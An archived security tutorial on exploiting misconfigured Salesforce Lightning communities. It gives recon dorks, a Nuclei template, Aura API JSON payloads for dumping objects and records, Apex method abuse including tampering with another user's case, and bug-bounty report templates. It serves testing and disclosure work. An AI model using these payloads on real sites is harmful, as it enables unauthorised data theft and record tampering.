

Salesforce Lightning - An in-depth look at exploitation vectors for the everyday community — Enumerated

Salesforce Lightning - An in-depth look at exploitation vectors for the everyday community — Enumerated - Aaron Costello, Enumerated.

- Published: 2020-10-09
- Original: <<https://www.enumerated.de/index/salesforce>>
- Preserved from: <https://www.enumerated.de/index/salesforce> (stored) on 2026-08-09
- Capture timestamp: 20201010143320
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Salesforce Lightning - An in-depth look at exploitation vectors for the everyday community

Oct 9

Written By [Aaron Costello](#)

Table of Contents

- Introduction
- What is Salesforce Lightning?
- Creating your own Salesforce Developer (Community) Instance
- Key Terms
- How does Salesforce Lightning implement security?
- Objects and OLS
- Fields and FLS
- Records and RLS
- Caveat
- Apex Classes and Methods

- Recon Process
- Exploitation
- Workflow
- In Practice
- Pull Custom Objects
- Extract Data from Objects
- Exploiting ListViews
- Interacting with Apex Class Methods
- Putting that all together
- Security Updates
- Payload Glossary
- Vulnerability Report Templates
- Insecure Object Permissions for Guest user
- Insecure CRUD permissions on custom Apex class method

Introduction

The purpose of this tutorial is to share my knowledge of exploiting common misconfigurations found in the popular CRM, Salesforce Lightning. As of current there is no public documentation on the attacker perspective. This article is not yet conclusive on the topic, a small number of specific vectors of attack are not discussed (eg: blind SOQL injection) nor are all default controller methods that can be taken advantage of as an attacker. It will hopefully, however, provide sufficient knowledge to begin exploiting these pitfalls.

There are plenty of resources for code samples within the [developer documentation](#) already, and more than enough VDPs/BBPs to satisfy a thirst to begin applying your newfound knowledge immediately. However, I will walk through creating your own developer instance which will both assist in grasping the concepts outlined here and also how it can be used to assist in attacking other Salesforce Lightning instances. This isn't mandatory for exploitation, but helpful.

Temporary and unrelated note: I am currently searching for a security engineer / offensive security position (remote ideally, from Ireland but timezone flexible). If your company, or one you know of, is hiring within these parameters, I'd love to know more ([Twitter DM](#) is perfect).

What is Salesforce Lightning?

Simply put, it's a bundle of frameworks providing tech for UI, CSS/Styling , but most importantly applications and components. It's ideally used for **Customer Relationship Management (CRM)**, and as such the vast majority of encounters will be for support sites whether it's for the everyday user of a product or privately for partners. Think support case filing, articles, topic discussions etc et al. The developer addition is free to try out, which I highly recommend and will outline in the next subsection.

Creating your own Salesforce Developer (Community) Instance

The creation of your own instance is entirely optional. However in terms of exploitation, you will require a 'template' request, which is a HTTP request made to a specific Lightning endpoint that you will be utilising against other hosts. Most public Salesforce instances make these requests, so it's not completely necessary to have your own. But if you have a desire to really grasp the information in this article (and potentially find even more useful queries that can be used in conjunction with exploitation) then I'd suggest doing so.

Creation of an instance is simple:

-

Navigate to [this](#) link and sign up

-

Authenticate to the instance

-

Search 'Communities' in the Quick Find bar and click 'Communities Settings'

-

Domain Name > Enter a subdomain prefix

-

Click 'Save'

-

Click 'New community' and select a template.

-

Click 'Get Started'. Provide a name and URL suffix

-

Click 'Create'

-

On the Workspace page, click the 'Builder' button under the 'My Workspaces' heading

-

On the top right, click the 'Publish' button in order to make the community fully public. Navigating to the link in your email will show you your public community site!

Key Terms

Throughout this article there will be several new concepts to understand, brief familiarity with basic DB structures is of help.

-

Objects - Effectively acting like database tables

-

Default Object - These are objects provided by Salesforce when the app is created for the first time.

-

Custom Object - These are objects created by admins. The ‘__c’ suffix denotes custom objects and fields.

-

Fields - Can be considered the 'columns' of a database. A small set of examples of fields in the 'User' object are: AboutMe, CompanyName, CommunityNickname.

-

Records - These are the 'rows' of a database (the actual entries of data).

-

SOQL - [Salesforce Object Query Language](#)

-

Component - Framework for app development, used for customization of a Salesforce app. It includes the view (markup) and controller (JS) on the client-side, then controller (apex) and database on the server side. Default lightning components for example are ui, aura, and force.

-

Namespace - Think of it like a package, which groups related components together.

-

Descriptor - A reference to a component in the form ‘namespace:component’. For example, ‘force:outputField’ is a descriptor for the ‘outputField’ component in the ‘force’ namespace.

How does Salesforce Lightning implement security?

Prior to going through the exploitation process, it's imperative to understand the pitfalls of security controls in order to better understand how they are exploited, and also how to ensure your application is as watertight as possible.

From an attacker perspective, the main security controls to be concerned with essentially boil down to the following:

-

Object Level Security (OLS) - This is often referred to as CRUD within Salesforce documentation

-

Field Level Security (FLS)

-

Record Level Security (RLS)

Objects and OLS

Interested in storing data from a customer case? The Case object would be a good idea. New user registered? User object makes sense. I think you get the gist.

OLS allows an admin to completely deny access to an object from an entire profile. As such they have the ability to control who sees what. This makes complete sense, as a sales profile will not need to see the same objects as someone in customer support, and they wouldn't even know the objects exist.

Object permissions can be modified per User Profile via the Profile tab of the Salesforce instance:

-

Users > Profiles > Select a profile > Click 'All Object Settings' > Select an Object -> Click 'Edit'

Fields and FLS

FLS (field-level security) provides the option to allow specific users to have access to some 'columns' and not others. For example, a support site with public discussion would make sense to allow a Guest user to see the CommunityNickname from the User object as it would be shown on posts. However, there is no need to allow Guest users to be able to access the real FirstName and LastName of these users.

Salesforce has implemented some unique access rules to specific objects' fields, such as the User object. Instances of this are outlined in the object reference documentation.

Access permissions to specific fields in an object can be modified on the same page as that for Object permissions, so following the steps in the previous section will reveal the field permissions when you scroll down.

Records and RLS

Lastly, are the records which contain the actual data. Ultimately this is where the interesting and sensitive information lies, as it's nice to know that a 'Sensitive_Data__c' field exists in a custom object but it's effectively useless if you can only see your own accounts record. This is the concept of RLS and it's extremely common considering a person should absolutely have access to their own data and not necessarily others.

RLS can be implemented in tiers:

-

Organization settings - default level of access everyone has to specific records

-

Role settings - does the case owner role need more access than regular portal user role to records? This is where that can be done at a hierarchy level.

-

Sharing rules - exceptions to organization settings for particular sets of users, not necessarily entire roles.

-

Manual sharing settings - want to give every user in a set except Tom access to more record data? Look no further.

-

Apex managed sharing - Like manual sharing, but done programmatically via Apex or SOAP

Typically, this is done from the top down to allow for finer tuning. Where to find most of these options is outlined briefly below:

Organization wide sharing settings: Navigate to '/lightning/setup/SecuritySharing/home'. **Sharing rules** may also be configured further down this page.

Roles and role hierarchy: Navigate to '/lightning/setup/Roles/home' > Click 'Set Up Roles':

Manual sharing: Navigate to Setup > Users > Click on a user > Click 'Sharing' > click 'Add':

I recommend reading the following document to understand exactly different levels of permissions will grant:

https://trailhead.salesforce.com/content/learn/modules/data_security/data_security_records

Caveat

Seems simple right? Salesforce not only provides community alerts for the most glaring issues which scream at you every time you login in your dashboard, but 99% of the above can be done visually through a GUI. I mean, look at [this](#) example of removing the 'View All Users' permissions for Guest profiles:

There's also continuous default security improvements for newer orgs with [season patches](#) S.

Not so fast. Surprisingly many organisations fail to notice community alerts or they may simply have been older orgs which have been created prior to these new patches and have just not gotten around to reading the latest security notes. Not only that, but custom objects are rarely configured with the correct OLS/FLS/RLS.

But, it's not all nice buttons and fancy GUIs for the developers who want to implement custom blueprints and code for unique functionality. Which brings us on to the next topic,

Apex Classes and Methods

“Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Lightning platform server in conjunction with calls to the Lightning Platform API. Using syntax that looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects.”

— *Salesforce Documentation*

The above statement gives a general understanding of what Apex is, but what we're interested in is how it implements security, and how can we interact with the code created by developers?

The Apex classes that have methods which are denoted with "@AuraEnabled" are what interest us the most, as these methods can be called remotely through the Aura endpoint so they are 'reachable'. My personal favourite thing about exploiting Apex is that it's not exactly secure by design. User permission checks / FLS/ RLS are not implemented by default, as it runs entirely in the system context as opposed to user context.

Salesforce have provided some nice examples of vulnerable Apex class methods within their developer documentation. Below will summarise briefly how security may be implemented at a base level:

-

Classes should be declared using 'with sharing' to run in user context

-

In the case of CRUD and FLS:

-

Check read permissions using '.isAccessible()'

-

Check update permissions using '.isUpdateable()'

-

Check delete permissions using '.isDeletable()'

-

Check create permissions using guess? ;)

-

SOQL Injection:

-

Binding variables and static queries, and using 'WITH SECURITY_ENFORCED'

Unfortunately without access to the code itself, exploitation of apex class methods will always be done blackbox unless the class is open source (which is always worth checking). As such, it's important to be smart about it. Ask yourself the following:

-

Do I have to blindly test this? Perhaps I can crawl the site functionality and a call to the method will be performed at some point. In which case, you now have perfectly formatted data to play around with.

-

Once you peek at the definition (explanation on how to do that later), what are the parameter names hinting at and what variable types are they expecting? A method called 'updateProfile' with parameters 'recordId' (type aura://Id) and 'profileName' (type aura://String) hints massively at what data you should be plugging in. It's only a matter of getting a profile ID to modify (either by extracting it via insecure object permissions, or perhaps profiles are publicly viewable on the site and as such so are the IDs).

Here is a small sample of issues I've found within apex methods:

Recon Process

Now to the exciting part, and no better way to start than actually finding sites using Salesforce. Sites hosted with SF typically point to one of the following via CNAMEs:

-

*.force.com

-

*.secure.force.com

-

*.live.siteforce.com

This can be used in conjunction with tools such as [SecurityTrails](#) which allow searching by DNS record, or Rapid7's [collection of DNS records](#) (fdns_any.json.gz). It's important to note that *.live.siteforce.com will be prefixed like 'sub.site.com.<id>.live.siteforce.com' whereas *.force.com is trickier to spot as the full domain wont appear in the record. For example, 'support.butchers.com' may be hosted on 'butchersupport.force.com', so ensure to think of related keywords and organization names when looking through large lists of records.

The following Google dorks may also prove useful:

-

site:force.com

-

inurl:/s/topic

-

inurl:/s/login

-

inurl:/s/article

-

inurl:/s/global-search

Lastly, a crafted POST request to an aura endpoint will throw an easily finger-printable error. Feel free to use the Nuclei template below which tests for this:

```
id: salesforce-aura

info:
  name: Detect the exposure of Salesforce Lightning aura API
  author: aaron_costello
  severity: info

requests:
  - method: POST
    path:
      - "{{BaseURL}}/aura"
      - "{{BaseURL}}/s/sfsites/aura"
      - "{{BaseURL}}/sfsites/aura"
    body: "{}"
    matchers:
      - type: word
        words:
          - 'aura:invalidSession'
        part: body
```

Please keep in mind that certain communities may also have a custom \$Site.Prefix value such as '/business', '/partners', '/support' etc et al which will prefix the aura endpoints. Feel free to add these to the template as you find them.

Exploitation

Workflow

When it comes to the exploitation process, I go through a specific workflow in order to ensure that everything is covered. Below is a brief overview of this process. Don't worry too much right now regarding the information that's contained in each box, as it'll all make sense once you've completed your reading of the exploitation section, and you can refer back to it.

Starting from Unauthenticated (Guest User):

-

Pull custom object names

-

Run intruder attack to retrieve records for objects discovered in (1) and default objects known to keep sensitive information

-

Pull list views for any objects not returning data from (2) for the 'Recent' listId and attempt to extract this data directly (or, query 'ListView' object and bruteforce each object with the ListView records disclosed)

-

Crawl application to enumerate potential apex class methods query-able by Guest users

-

Attempt to exploit said methods

-

Authenticate and repeat steps 1-5

In Practice

The first thing you'll need to do prior to any actual hacking is to populate your headers/cookies and parameter values for '/aura' (I will say '/aura', but it could be any of the endpoints mentioned in the Nuclei template and more). This is why the creation of your own developer community is useful, but feel free to use [mine](#) instead.

Navigate to the developer instance with Burp's proxy sniffing all HTTP(S) requests in the background. Grab any POST request to an aura endpoint and send it to repeater:

Within the repeater tab change the 'Host' header and the Burp 'target' field to the domain of your target, and we're ready to go. You'll notice multiple POST parameters that are consistent across all requests to the aura endpoint, with 'message' and 'aura.token' being the most import. The 'message' parameter contains all of the crucial information such as the apex class and respective method being called, plus parameters (and values) being passed to it. By default it will be URL encoded, however it's not necessary and will improve readability when decoded. The 'aura.token' parameter value will show whether or not you are authenticated. The 'undefined' value indicates you are not, and hence you are a Guest user. However if it's populated with a JWT token, then you are authenticated.

It's paramount to note that only the 'message' parameter in the POST data is to be changed with the payloads, the rest are to remain as they are.

Pull Custom Objects

Replace the 'message' parameter value with the following in order to pull custom objects accessible by a Guest user:

```
{"actions":  
  [{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}
```

This will return a list of objects within the 'apiNamesToKeyPrefixes' key. Search for '__c' within the response and copy any objects suffixed by this, as we know that these are custom.

Extract Data from Objects

Note: From this point onwards we will be using Intruder quite a bit. Each 'message' payload will contain a MARKER value which is what you should surround the Intruder markers with, to save myself repeating it every time.

Send this repeater request to the intruder. Within the 'Positions' tab, modify the 'message' parameter value to the following:

```
{"actions":  
  [{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItem", "callingDescriptor":"UNKNOWN","params":  
    {"entityNameOrId":"MARKER","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}}]}
```

The '\$getItem' method in this specific controller is only one example of a built-in method that can be used to extract total information from an object, there are plenty however this is the one I typically use. In this payload I'm using pretty much the minimum required parameters for it to work. The full definition for this method and others will be provided at the end of the article. Here's a little overview of the important parameters:

-

entityNameOrId - Object name

-

getCount - if set to 'true', will return the number of records returned

-

pageSize - The larger the number, the greater potential number of records returned. Capped at 1000.

-

currentPage - If you've capped the pageSize but there are more records, incrementing the currentPage value will return the records for the next page

Once you're happy with these values, ensure that the 'MARKER' string is surrounded by the intruder markers. Within the 'Payloads' tab, paste the custom objects into the Simple List, along with the following:

Case

Account
User
Contact
Document
ContentDocument
ContentVersion
ContentBody
CaseComment
Note
Employee
Attachment
EmailMessage
CaseExternalDocument
Attachment
Lead
Name
EmailTemplate
EmailMessageRelation

A full list of default Salesforce objects can be found [here](#), as there is likely some I am missing.

Finally, start the attack! Once the attack is complete, I would re-order it by response length from highest to lowest, as responses of <12,000 typically are either:

-

You do not have access to the object

-

The only record returned is your own (Guest)

Below is an example `User` object in which the response length indicates a leak:

Certain fields in the 'User' object will contain null, as they were either not supplied or have additional restrictions as a result of a Salesforce security update as mentioned before. But PII is nearly always available through the 'Name', 'FirstName', 'LastName' fields and occasionally 'Phone'. In addition to this, some custom fields may be disclosed. Prior to reporting this issue, it's paramount to ensure this information is not already accessible publicly. If the community has a discussion board where users can post from profiles, this information is likely already accessible. So ensure that throughout the exploitation process, you are not reporting a 'non issue'.

Specific objects will return IDs, particularly those related to attachments. Here is how to utilise them (These paths are relative to the base path, not the aura endpoint):

-
Document - Prefix 015 - /servlet/servlet.FileDownload?file=ID

-
ContentDocument - Prefix 069 - /sfc/servlet.shepherd/document/download/ID

-
ContentVersion - Prefix 068 - /sfc/servlet.shepherd/version/download/ID

A list of default object ID prefixes can be found [here](#).

Exploiting ListViews

The aim here is to retrieve ListView IDs for the aforementioned sensitive objects, query them for records within the object, and lastly access the record directly. The default view for Lightning as of current is the 'Recently Viewed' ListView. Modify the 'message' parameter in the Intruder tab to the following, keep the Intruder payloads the same as before:

-
Get ListView ID

```
{"actions":  
  [{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.listViewPickerDataProvider.ListViewPickerDataProviderController/ACTION$getInitialListViews",  
    "callingDescriptor":"UNKNOWN","params":  
      {"scope":"MARKER","listIdOrApiName":"Recent","listViewTitle":"Recently Viewed","maxMrResults":50,"maxAllResults":100}}]}
```

1. Copy the ListView records (prefix 00B) and replace the entire intruder payloads with them. In this case, don't forget to modify the 'entityName' parameter value from 'OBJECT' to the object that the ListView records belong to, such as 'User'. Then, replace the 'message' parameter value with the following:

```
{"actions":  
  [{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.listViewDataManager.ListViewDataManagerController/ACTION$.getItems",  
    "callingDescriptor":"UNKNOWN","params":  
      {"filterName":"MARKER","entityName":"OBJECT","pageSize":100,"layoutType":"LIST","getCount":false,"enableRowActions":false,"offset":0}}]}
```

1. Lastly, any IDs returned you can attempt to access directly. Copy any IDs returned and replace the Intruder payload list with them. The final 'message' parameter value to

extract a user's record is below:

```
{
  "actions": [
    {
      "id": "123;a",
      "descriptor": "serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord",
      "callingDescriptor": "UNKNOWN",
      "params": {
        "recordId": "MARKER",
        "mode": "VIEW",
        "layoutType": "FULL"
      }
    }
  ]
}
```

The alternative to this would be to extract all of the ListView IDs from the 'ListView' default object, then attempting to pair each ListView record to a corresponding object using the query from step 2.

Interacting with Apex Class Methods

Thus far, everything has been quite straightforward and that process will not change for any target. The ability to exploit these insecure methods will separate the wheat from the chaff. First things first, a basic understanding of how to efficiently understand these from a blackbox perspective is important.

When filtering through your Burp Proxy history, or sliding down a mass of requests, there are two simple ways to find any custom apex class definitions or calls:

-

The string 'apex%3a%2f%2f' in the request

-

The string 'compound://c' in the response

I will focus on the second, as ultimately any apex call that is made in a background request will lead you to look for the actual descriptor itself anyway.

Below is an snippet of what you may come across in a response when searching for this string:

```
"componentDefs": [
  {
    "xs": "G",
    "descriptor": "markup://c:SampleComponent"
    ..snip..
    "cd": {
      "descriptor": "compound://c.SampleComponent",
      "ac": [
        {
          "n": "getBaseUrl",

          "descriptor": "apex://SampleController/ACTION$getBaseUrl",
          "at": "SERVER",
          "rt": "apex://Map<String,String>",
          "pa": [
            {
              "name": "url",
              "type": "apex://String"
            }
          ]
        }
      ]
    }
    ..snip..
  ]
}
```

The important values to note here are:

-

The initial 'descriptor' value that exists in 'componentDefs' - This can be used for retrieving the full definition, although not required. The descriptor format is made up of namespace:component.

-

rt - The return value type. In this case, it's a Map.

-

pa - Parameters that are passed to the apex class method, and their type. Here the parameter accepted is "url" of type "String".

Knowing this information, we can attempt to interact with this method and see what it returns. Here's the constructed message value:

```
{"actions":  
  [{"id": "46;a", "descriptor": "apex://NovaBaseController/ACTION$getBaseUrl", "callingDescriptor": "UNKNOWN", "params": {"url": "https://google.com/something"}}]}
```

Let's break this down into points:

-

id - Completely irrelevant, enter 1337 here if it makes you feel better

-

descriptor - The controller and subsequent method we are calling

-

callingDescriptor - Okay, so technically in an ideal world this would contain the componentDef markup string, but I have not seen it ever required so "UNKNOWN" is accepted across the board

-

params - This JSON object contains the 'url' parameter and value that I've decided to give it, which is a URL. I simply looked at the parameter name and took a wild guess, welcome to hacking :)

Submitting the request returned the following value:

```
"returnValue":{  
  "completeUrl": "https://google.com/something",  
  "pathUrl": "/something"  
}
```

Some of you may be thinking “When searching for custom apex classes, the responses are so cluttered and it’s hard to focus. How do I see JUST the methods for a particular custom class?”. This can be retrieved via the ‘/auraCmpDef’ endpoint. The endpoint itself requires a few pieces of information prior to accessing it, as seen below:

```
/auraCmpDef?aura.app=<APP_MARKUP>&_au=
<AU_VALUE>&_ff=DESKTOP&_l=true&_cssvar=false&_c=false&_l10n=en_US&_style=-1450740311&_density=VIEW_ONE&_def=<COMPONENT_MARKUP>
```

The values for these ‘aura.app’ and ‘_au’ parameters can be found in two places. side by side. Firstly when a call to a particular method of a class is called in a request, it can be found in the ‘aura.context’ POST parameter’s value. Secondly, in the response that describes the custom class itself (CTRL+F ‘Application@’):

In the example request above, the ‘aura.app’ value is ‘markup://siteforce:communityApp’ and the _au value is ‘8KVdMoLuAGi15YkxlC35vw’. Lastly is the component descriptor value is required for the ‘_def’ parameter, and you may have noticed one earlier in this subsection. Search for “descriptor”: “markup://c’ in the response where these methods are outlined, and copy the entire value for the descriptor.

Plugging in these values would leave us with the following finished path & parameters (Note that the ‘/auraCmpDef’ endpoint is in the same directory as ‘/aura’ is found):

```
/auraCmpDef?
aura.app=markup://siteforce:communityApp&_au=8KVdMoLuAGi15YkxlC35vw&_ff=DESKTOP&_l=true&_cssvar=false&_c=false&_l10n=en_US&_style=-1450740311&_density=VIEW_ONE&_def=markup://c:NOVABaseComponent
```

Navigating to the URL will perform a 302 redirect to what we seek. Below is a snippet ‘/auraCmpDef’ output for a built-in method within a component.

Example method description from ‘/auraCmpDef’ for the built in ‘forceSearch:resultsGridLVMDDataManager’

It’s bad enough that you’re often guessing parameter values for parameters of a String type, but even worse are parameters which expect an object, as you’re now dealing with potentially quite a few blind parameters within said object itself and their respective values. Here’s a fairly obvious and handy trick for this. If an object is expecting a return type of ‘aura://User’, check to see if any other apex methods have a ‘rt’ value of ‘aura://User’, and then use the output from that method as the input for the first.

Putting that all together

Now that you’re able to extract data from objects and interact with apex classes, below is a real issue I’ve found which paired the two:

-

Fetches custom objects and attempted to extract data from each using the `getItems` method of `SelectableListDataProviderController`. Object `'Case_Files__c'` disclosed a Case record ID (`Id`), case number (`caseNum`), and S3 bucket file location for case files (`acl` was `private`), for all user created support cases.

-

Authenticating to the application and submitting my own case file while proxying through Burp disclosed a number of methods for a custom apex class in a response. In addition these methods were being used when I attached my own case files, and as such I was able to have a greater understanding of their functionality based on inputs that were populated by components automatically and the `'returnValue'` JSON object in the respective responses of these requests:

`comBucketAttachmentController/ACTION$insertAttach` - Uploads the file specified to the case (in conjunction with a POST request to the S3 bucket)

`comBucketAttachmentController/ACTION$updateCaseStatus` - Updates the case status (saves it) `comBucketAttachmentController/ACTION$getCaseAttachments` - Shows case attachments for a given case.

-

The `insertAttach` method took several parameters such as file size, file name, bucket name etc et al. But most interesting were `'caseNumber'` and `'caseId'` parameters of type `'aura://String'`. Since I already had an example image on the S3 bucket, I attempted to use another user's case information leaked in the `'Case_Files__c'` object without making having to make a POST request to the bucket. Swapping my `'caseNumber'` with their `'caseNum'` value, and `'caseId'` with their `'Id'` value from the custom object, I submitted a request and received the same success-style response that I had received when attaching files to my own case (`"returnValue":"success"`).

-

In order to save the file to the case, `updateCaseStatus` was used which took only a `'caseId'` parameter. Using the same victim's Case record ID as the last request, I received a `'Status Changed'` response. Sensitive identifying information redacted, below is the exact payload used. Notice that I called two apex class methods in the one request, as you are able to call multiple methods within the one message:

```
{
  "actions": [
    {
      "id": "579;a",
      "descriptor": "apex://comBucketAttachmentController/ACTION$insertAttach",
      "callingDescriptor": "UNKNOWN",
      "params": {
        "caseId": "<VICTIM CASE ID>",
        "filename": "dog.jpg",
        "bucket": "redacted-support",
        "caseNumber": "<VICTIM CASE NUMBER>",
        "fileType": "image/jpeg",
        "fileSize": "28.8 KB",
        "fileFinal": "dog.20201007-174332.jpg",
        "accountName": "Aaron Costello"
      }
    },
    {
      "id": "580;a",
      "descriptor": "apex://comBucketAttachmentController/ACTION$updateCaseStatus",
      "callingDescriptor": "UNKNOWN",
      "params": {
        "caseID": "<VICTIM CASE ID>"
      }
    }
  ]
}
```

1. In order to confirm that it was successful, the `getCaseAttachments` method was used like so:

```
{"actions":  
  [{"id": "2447;a", "descriptor": "apex://comBucketAttachmentController/ACTION$getCaseAttachments", "callingDescriptor": "UNKNOWN", "params": {"caseId": "<VICTIM CASE ID>"}]}]}
```

1. Result showing that the file was added to the victim's case (victim info redacted):

Security Updates

As mentioned in the “How does Salesforce implement security?” section, Salesforce seasonally role out important updates to will apply to new communities and can be pushed to existing ones. These updates can, and will, effect the impact of Salesforce misconfiguration findings. As such it's vitally important be aware of changes being made. These release notes can be found [here](#). Relevant sections for this article will be ‘Security, Privacy, and Identity’ and also ‘Communities’. Most of the time, these updates will address the Guest user and their accessibility to specific fields in an object or their ability to interact with “@AuraEnabled” methods. I will do my best to update this section with any significant changes in the future that may affect exploitability in any way.

Spring'21:

-

View All Users Permission to be Removed - Specifically for Guest users. This will affect the visibility Guest users' have. This permission was disabled in Summer'20 and is to be removed now

Winter'21:

-

Secure Guest User Record Can't Be Disabled - Private org-wide defaults for guest users & restrictions on the ability to grant record access to them. Unlike before where this could be 'unchecked', this update will remove that option and it will be mandatory.

-

Reduce Object Permissions for Guest Users - Disables the following object permissions for Guests: View All Data, Modify All Data, Edit, and Delete.

-

Let Guest Users See Other Members of This Community Setting Disabled - The ability for admins to grant Guest users visibility on other users can reveal PII information, and as such this setting will be turned off by default

-

Improved Security for Managed Topic Images - Communities before Winter'21 have managed topic images stored as documents and are publicly accessible, even if the

community is intended to be private. This update will now have these images stored as private.

Payload Glossary

A compiled list of payloads I have discovered over a period of reconnaissance and exploitation of communities. If there are any useful built-in controller methods that are missing, I'd love if you reached out and I will add it here with credit.

****SelectableListDataProviderController/ACTION\$getItem - **Returns pageSize amount of records from all fields in a specific object.**

-

entityNameOrId - Object name

```
{
  "actions":
  [
    {
      "id": "123;a",
      "descriptor": "serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItem",
      "callingDescriptor": "UNKNOWN",
      "params": {
        "entityNameOrId": "MARKER",
        "layoutType": "FULL",
        "pageSize": 100,
        "currentPage": 0,
        "useTimeout": false,
        "getCount": false,
        "enableRowActions": false
      }
    }
  ]
}
```

****HostConfigController/ACTION\$getConfigData - **Returns all currently available objects**

```
{
  "actions":
  [
    {
      "id": "123;a",
      "descriptor": "serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData",
      "callingDescriptor": "UNKNOWN",
      "params": {}
    }
  ]
}
```

****ProfileMenuController/ACTION\$getProfileMenuResponse - **Returns minor current user details**

```
{
  "actions":
  [
    {
      "id": "123;a",
      "descriptor": "serviceComponent://ui.self.service.components.profileMenu.ProfileMenuController/ACTION$getProfileMenuResponse",
      "callingDescriptor": "UNKNOWN",
      "params": {}
    }
  ]
}
```

****ScopedResultsDataProviderController/ACTION\$getLookupItems - **Returns pageSize amount of records for a particular object that includes a specific term in a row.**

-

scope - Object name

-
term - Search term, minimum 4 characters

-
additionalFields - Any other fields in the object that you wish to be returned in the record

```
Definition - /auraCmpDef?aura.app=markup://siteforce:communityApp&_au=
<VALUE>&_def=markup://forceSearch:resultsGridLVMDDataManager
Payload - {"actions":
[{"id":"123;a","descriptor":"serviceComponent://ui.search.components.forcesearch.scopedresultsdataproducer.ScopedResultsDataProviderController/ACTION$getLookupItems","callingDescriptor":"UNKNOWN","params":
{"scope":"User","term":"script","pageSize":10,"currentPage":1,"enableRowActions":false,"additionalFields":[],"useADS":false}}]}
```

****ListViewPickerDataProviderController/ACTION\$getInitialListViews - **Returns list views available for a given object from the 'Recent' list ID**

-
scope - Object name

-
listIdOrApiName - ID of ListView to query

-
listViewTitle - Title of ListView to query

```
{"actions":
[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.listViewPickerDataProvider.ListViewPickerDataProviderController/ACTION$getInitialListViews","callingDescriptor":"UNKNOWN","params":
{"scope":"Contact","listIdOrApiName":"Recent","listViewTitle":"Recently Viewed","maxMrResults":100,"maxAllResults":100}}]}
```

****ListViewDataManagerController/ACTION\$getItems - **Returns records available from a given ListView ID**

-
filterName - ID of ListView to query

-
entityName - Object name

```
{
  "actions": [
    {
      "id": "123;a",
      "descriptor": "serviceComponent://ui.force.components.controllers.lists.listViewDataManager.ListViewDataManagerController/ACTION$getItems",
      "callingDescriptor": "UNKNOWN",
      "params": {
        "filterName": "<LISTVIEW_ID>",
        "entityName": "<OBJECT_NAME>",
        "pageSize": 100,
        "layoutType": "LIST",
        "sortBy": null,
        "getCount": true,
        "enableRowActions": false,
        "offset": 0
      }
    }
  ]
}
```

****DetailController/ACTION\$getRecord - **Returns the data in a given record ID**

-

recordId - ID of the record to query

```
{
  "actions": [
    {
      "id": "123;a",
      "descriptor": "serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord",
      "callingDescriptor": "UNKNOWN",
      "params": {
        "recordId": "<RECORD_ID>",
        "record": null,
        "inContextOfComponent": "",
        "mode": "VIEW",
        "layoutType": "FULL",
        "defaultFieldValues": null,
        "navigationLocation": "LIST_VIEW_ROW"
      }
    }
  ]
}
```

****ApexActionController/ACTION\$execute - **Alternative way to call an apex class method**

-

classname - Name of apex class

-

method - Method being called

-

params - Parameter and value pairs taken by method

```
{
  "actions": [
    {
      "id": "123;a",
      "descriptor": "aura://ApexActionController/ACTION$execute",
      "callingDescriptor": "UNKNOWN",
      "params": {
        "namespace": "",
        "classname": "<APEX_CLASSNAME>",
        "method": "<APEX_METHOD>",
        "params": {},
        "cacheable": false,
        "isContinuation": false
      }
    }
  ]
}
```

Vulnerability Report Templates

If you're going to use the information in this article to submit reports on bug bounty platforms or via responsible disclosure, I'd appreciate for the sake of security teams everywhere if you'd be considerate enough to put effort into the report document. I have taken the liberty of providing some templates below that you may use. Note that the following templates are formatted with Markdown, as this is commonly supported among BB platforms. Naturally the information in these template should be changed where

necessary and are just 'general' templates for object and apex class method misconfigurations. Text that definitely needs to be changed has been surrounded by '\\'.

Insecure Object Permissions for Guest User

****Title:**** [salesforce.site.com] Insecure Salesforce **default**/custom object permissions leads to information disclosure

*** **Risk:**** *Low/Medium/High*

*** **Impact:**** *Low/Medium/High*

*** **Exploitability:**** *Low/Medium/High*

*** **CVSSv3:**** *CVSS_Score* *CVSS_STRING*

****Target:**** The Salesforce Lightning instance at .

****Impact:**** The Salesforce Lightning instance does not enforce sufficient authorization checks when specific objects are requested. As such, an unauthenticated attacker may be able to extract sensitive data **from** the records in these objects which contains information of other users. **This** includes X,Y,Z in addition to other information.

****Description:**** The web application at is built **using** [Salesforce Lightning] (<https://www.salesforce.com/eu/campaign/lightning/>). *Salesforce Lightning is a CRM for developing web applications providing a number of abstractions to simplify the development of data-driven applications. In particular, the [Aura] (<https://developer.salesforce.com/docs/component-library/bundle/aura:component>) framework enables developers to build applications using reusable components exposing an API in order for the components to interact with the application.*

During testing it was discovered that the Salesforce Lightning instance has loose permissions on the X,Y,Z objects **for** unauthenticated users.

Therefore, a malicious attacker may be able to extract sensitive information belonging to other users of the application. To **do this**, an unauthenticated attacker may craft a HTTP request directly to the Aura API at , **using** built-in controller methods normally used by the Salesforce Lightning components.

****Steps to Reproduce:****

- 1) Ensure Burp Suite is sniffing all HTTP(S) requests in the background
- 2) Navigate to , **this** is to retrieve a template aura request **for use**
- 3) Find a POST request in Burp's Proxy history to the endpoint. Send it to the repeater
- 4) Modify both the header and Burp's target field to
- 5) Change the POST parameter to the payload below. Please note that all other parameters should remain untouched, and that in **this** example payload, a pageSize of 100 is used **for** speed however more records can be retrieved:
- 6) Submit the request
- 7) The response contains sensitive information belonging to other users, an example screenshot has been provided below:

{{Screenshot}}

